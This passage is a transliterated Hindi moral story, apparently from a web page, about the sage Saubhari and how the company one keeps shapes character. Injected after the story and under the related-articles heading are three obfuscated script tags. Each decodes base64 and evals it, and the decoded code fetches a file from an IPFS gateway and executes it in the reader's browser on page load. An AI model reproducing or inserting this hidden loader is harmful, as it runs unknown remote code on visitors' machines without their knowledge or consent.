जैसी संगति वैसा चरित्र

jaisi sangati vaisa charitr

sangati ka sabase b da gahara prabhav padata hai. ham jaise sathiyoan ke sath rahate haian, unake achchhe aur bure svabhav ka asar ham par bhi dhire dhire padane lagata hai. yadi hamare mitr ya sathi aise haian jo bahut hi buddhiman padhane mean atyant ruchi rakhane vale tatha mata pita evan gurujanoan ke ajnakari haian to nishchit roop se ek din ham bhi aise hi ban jaeange lekin yadi hamare sathi avara gali galauj karane vale tatha jhagadaloo svabhav ke haian to hamean bhi galiyaan dene mean sakoanch nahian hoga tatha hamare charoan or jis tarah ka vatavaran hoga usi se ham achchhe aur bure vyakti ke roop mean dhal jaeange.

---

kanv rrishi ke vansh mean saubhari namak ek atyant vidvanh mahapurush utpann hue haian. unhoanne gurukul mean rahakar vedoan ka gahara adhyayan kiya tha. unhoanne sansar ko aur paramarth ko achchhi tarah samajh liya tha. ve ye jan ge the ki sansar ki pratyek vastu ek din samapt ho jati hai. jo vastu aj hamean sukh deti hai, atyant priy lagati hai, usaka adhik sevan karane se vahi buri lagane lagati hai. phir yadi usamean sukh hai to sabhi ko achchhi lagani chahie lekin kuchh use bilkul bhi pansad nahian karate. yah sthiti sansar ki pratyek vastu ke sath hai chahe vah khane pine ki ho, pahanane odhane ki ho ya hamare prayog mean ati ho. is prakar unaka man sansar ki kisi vastu mean nahian lagata tha bas bhagavan ke bhajan mean tatha ved shastroan ke adhyayan manan tatha chiantan mean hi ve lage rahate the. unaka man unase bar bar kahata ki ghar chhodakar kisi shaant suandar prakritik sthan par chala jae tatha vahaan rahakar tapasya ki jae. mata pita ko bhi putr ki is bhavana ka pata lag gaya. unhoanne use bahut samajhaya- 'bete pratyek vastu samay par hi achchhi lagati hai. tum yuva ho is samay yadyapi tumhari bhavanaean vairagy ki or haian lekin yuvavastha mean man b da chanchal hota hai, vah jara si der mean dig jata hai. is samay tumhean grihasthi basana chahie tatha grihasthi dham ka palan karane ke pashchath phir sansar ko tyag kar bhagavan ka bhajan karana. koee tumhare irade mean badha nahian dalega aur us samay chooanki tum sansar ko dekh loge tumhara chitt poori tarah sthir rahega. tum dridhata ke sath bhagavan ke bhajan mean lag sakoge. lekin saubhari vivah karane ke lie bilkul taiyar nahian hue. unhean grihasthi basakar vriddhavastha ki pratiksha karana samay barabad karana hi laga. ve doosaroan ke grihasth jivan ko dekh chuke the. unhean us sabase ghrina thian. haan kabhi kabhi ve yah avashy vichar karate the ki kya mata pita ki ajna ka palan n karana uchit hai lekin andar se phir avaz ati ki atmanastu kamay sarv priyan bhavati arthath atmakalyan hi sabase priy vastu hai. ve is dvandv mean kuchh dinoan tak phanse rahe. akhir isi nishchiy par pahuanche ki saty ka anubhav karana hi manushy jivan ka lakshy hai aur ek din chupachap ghar tyagakar van mean chale ge.

chalate chalate vah yamuna nadi ke kinare ek atyant sundar sthan par pahuanche jise unhoanne apani tapasyasthali ke roop mean chuna. vahaan charoan or hare bhare vriksh phal aur phooloan se lade hue the jin par rangabirangi chidiyaan chahachahati rahati thian. yamuna nadi dhir ganbhir gati se bahati rahati. hava ke jhoankoan dvara utpann chhoti chhoti laharean kinare se akar takarati aur halki si mithi dhvani utpann karatian jo mahatma saubhari ke man ko gupt dhvani ke saman lagati aur usi ko ekagr hokar sunate. jab ve jal mean khade hokar athava baithakar dhyan lagate to chhoti badi machhaliyaan unake charoan or kilol karati rahati. kabhi kabhi unaki god mean bhi akar rook jatian. sham ke samay as pas ke gaanvoan ki vibhinn rang ki gaean jhuand ke jhuand gale mean padian ghantiyaan bajati huee thaki maandi thanoan mean doodh ke bhar ko lie jab lautati to unhean dekhakar mahatma saubhari ka man jhoom uthata.

anek din aise bit ge. sardi aur garmi unake lie saman thi. varsha ke dinoan mean nadi ka jal oopar tak uphan ata tatha kinare todakar bahane lagata lekin rrishi ka man n to badhata aur n ghatata. vah to saman roop se shaant aur sthir rahata. dhire dhire varshoan bit ge. jo bhi unaki tapasya ko dekhata ashchary karata. kabhi ve vriksh ke niche dhyan lagae dinoan baithe rahate aur kabhi pani ke aandar. jadoan mean jab thand ke mare sharir ak d jata barphili havaean sharir ko kanpa detian, ve khule badan aise hi baithe rahate. garmi ke dinoan mean jab jhulasa dene vali loo chalati ve dhoop mean baithakar agni tapate. unaka sharir j d ho gaya tha us par kisi prakar ka koee asar nahian padata. bhookh pyas to poori tarah unake niyantran mean thian. jo kuchh jangal se phal phool mil jate athava gaanv vale kabhi de jate vahian unaka bhojan tha. mil gaya to thik nahian to prabhu ichchha. varshoan bit ge, yahian pata nahian chala ki javani kab chali gee. lambi dadhi aur moochhoan ne chehare ko dhak liya. sir ke bal bhi shvet hone lage. achanak mithe doodh se bhare katore mean vish ki booand giri ya kahean ki devataoan ne unaki pariksha lene ki thani jisamean ki ve buri tarah asaphal hue. ve prayah pani ke aandar baithakar tapasya kiya karate the. machhaliyaan unake charoan or tairati hi rahati thian. ve rrishi ki parikrama si karati rahatian aur unake sharir ko chhooti phisalati rahati. ve jara bhi unaki upasthiti se vichalit nahian hotian.

ek din achanak rrishi ka dhyan kuchh adhik hi unaki or chala gaya. unhoanne dekha ki ek matsy joda kitane anand se ek doosare ka pichha kar raha hai tatha kis tarah se l date jhag date tatha muskarate hue lag rahe haian. unake charoan or unake anek bachche idhar udhar ghoom rahe haian tatha pani mean khel rahe haian. achanak rrishi sochane lage, yah bhi sansar ka ek anand hai jisase maian vanchit rah gaya. isamean bhi sukh hai jisaki vajah se lagabhag sabhi manushy grihasth dharm ka palan karate haian. mujhe ise bhi bhogana chahie tha. mere pita ne mujhe kitana samajhaya, lekin maianne unaki ek n mani. ve bechaini ke sath pani se bahar nikal ae. unaka man chanchal ho utha. vah kisi prakar bhi shaant n hota tha aur n bhagavan ke dhyan mean lagata tha. jab bhi ve dhyan karane baithate unhean machhaliyaan dikhaee dene lagatian, jo hansi-khushi se pani mean kilol karati phir rahi thian. yah un machhaliyoan ki nity prati ki sangati ka hi prabhav tha jisane rrishi saubhari ki tapasya ko bhang kar diya tha . vastav mean rrishi ne sanyam ke dvara apane sharir ko to tapa liya, apane bas mean kar liya lekin ve apane man ko nahian badal sake. sharir aur indriyoan ke niyantran ke sath- sath man ka badalana bhi avashyak hai. jab tak vah nahian badalata, kuchh nahian paya ja sakata.

ek din unhoanne kuchh nishchay kiya aur apana sthan chhodakar ek or ko chale die. chalate- chalate ve siandh pradesh mean sabase adhik shaktishali evan pratapi raja ‘trasaddasyu’ ke darabar mean sahasa upasthit ho ge. raja trasaddasyu ka nam vastav mean sathak tha unake nam se hi aryoan ke shatru dasyu raja kaanpane lagate the. unhoanne kabhi bhi apane shatruoan ko sir nahian uthane diya tha. ve rrishi-maharshiyoan ka bhi b da adar-samman karate the. saubhari rrishi ka nam sare bharat mean vikhyat tha unaki tapasya se sabhi chamattkrit the. unhean darabar mean achanak dekhakar sabhi ashcharyachakit rah ge. raja ne sianhasan chhodakar unaka svagat kiya tatha unhean jal adi se tript karake sukhapoorvak baithaya aur tab unase kushal-mangal poochhate hue atyant vinamrata ke sath ane ka prayojan janana chaha. rrishi bole, 'maian tumhari kanya se vivah karane ka ichchhuk hooan.' raja is bat ko sunate hi sakate mean a ge. ve sochane lage ki kahaan yah vriddh rrishi aur kahaan meri sukumari beti! kya yah uchit hoga ki maian apani yuva beti ka vivah is vriddh purush ke sath kar dooan. any raja log kya kaheange, meri praja mean kya khyati rah jaegi. is vriddh ko dekho, is ayu mean grihasth jivan bitane ki soch raha hai, lekin inkar bhi nahian kiya ja sakata. yadi kahian kruddh ho ge to rajy ki khair nahian. aant mean raja ne ek yukti soch li. ve bole, 'mahatmanh, ham log kshatriy haian, hamare yahaan svayanvar ka rivaj hai , ap mere sath aant:pur mean chalean, jo rajakumari apako pasand kar legi maian usi se apaka vivah kar dooanga.' donoan mahal ke ranivas ki or chal die. raste mean rrishi ne apane tapobal se ek atyant suandar yuva ka roop dharan kar liya. ve aise lagane lage jaise sakshat saundary ke devata anang ho. jaise hi mahal mean pahuanche aur raja ne agantuk ke ane ka karan bataya, sabhi rajakumariyoan ne rrishi ke sauandary aur akarshan ko dekhakar unhean gher liya tatha sabhi unake sath vivah karane ke lie utsuk ho gee unaki sankhya pachas thi . raja ne yah sthiti dekhakar shubh muhurt mean atyant utsah evan ullas ke sath sabhi rajakumariyoan ka vivah rrishi saubhari ke sath kar diya. unhean itana ghar grihasthi ka saman diya ki rrishi ko kisi prakar ki bhi koee chinta n rahi . gayoan ke jhuand, ghode vibhinn prakar ke vastr, ratn tatha abhooshan prapt karake rrishi ka man anandit ho gaya. raste mean rrishi ne indr devata ki prarthana ki aur unhean yajn mean upasthit hokar bheant svikar karane ka agrah kiya. unhoanne yahi chaha ki unaka yauvan sada bana rahe, unaki patniyaan unase sada prasann rahean. ve kabhi apas mean kalah n karean. devataoan ke bhavan nirmata vishvakarma unake lie yamuna ke kinare par ek sone ka mahal bana dean jo dhan-dhany se poorn ho tatha jisake charoan or svargiy phaloan aur phooloan ki vatikaean hoan taki ve grihasth ka bharapoor sukh utha sakean. indr devata unaki tapasya aur prarthana se pahale hi santusht the. unhoanne 'tathastu' kaha aur svarg or prasthan kar ge. ab rrishi anandapoorvak apane din bitane lage. charoan or suandar striyoan ka samooh, has–parihas tatha bhaanti–bhaanti ke khel.

varshoan bit ge, samay ka pata nahian chala. chhote-chhote bachchoan ki totali boli unake man mean anand ki laharean uthati rahati. parantu dhire-dhire man ab phir ukatane laga. man ne prashn kiya, kya yah saty hai, sada aise hi rahegean? vairagy ki vritti ne phir sir uthana prarambh kiya. jis vastu ko pravt karane ke lie man athak parishram karata hai aur jab us prapt kar leta hai to vah bhogate-bhogate niras ho jati hai. rrishi ke man mean vichar aya ki toone kis uddeshy ko prapt karane ke lie ghar chhoda tha aur phir ek itana b da jangal khada kar liya. jisake lie maianne apani varshoan ki ghor tapasya ka tyag kiya kya vastav mean yah usase badi vastu hai. kya isi manushy sukhamay grihasth jivan kahate haian. isase to maian kalyan ka rasta chho d baitha aur sansar mean phans gaya. mainean yog ka rasta saansaraki bhogoan ke lie chhod diya. kitani badi bhool ki. is samay unhean sachcha vairagy utpann ho gaya tha. yuvavastha ka vairagy kachcha tha, anubhavahin tha. un machhaliyoan ki saganti ne unake svabhav ko parivartit kar diya tha. unhoanne tapasya ke samay ki shaanti, satoansh aur man ki sthirata ko dekha tha aur ab grihasth ke sukh ko bhi bhoga. tab unaki samajh mean yah aya ki grihasth ka anubhav bhi avashyak hai aur ek din jab unake sabhi bachche samarth ho ge to unhoanne grihasthi ka tyag kar diya aur jangal mean jakar punah tapasya mean rat ho ge tatha aant mean bhagavan ke darshan karake avagaman ke chakr se sada-sada ke lie mukt ho ge. unaki patniyoan par bhi unaki sangati ka gahara prabhav pada. ve sab bhi unhian ke batae hue marg par chal padi aur sadagati ko prapt huee. isalie sada achchhe mitroan, sathiyoan tatha sajjan vyaktiyoan ko dhooandhate rahana chahie tatha unhian ki saganti mean rahana chahie. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>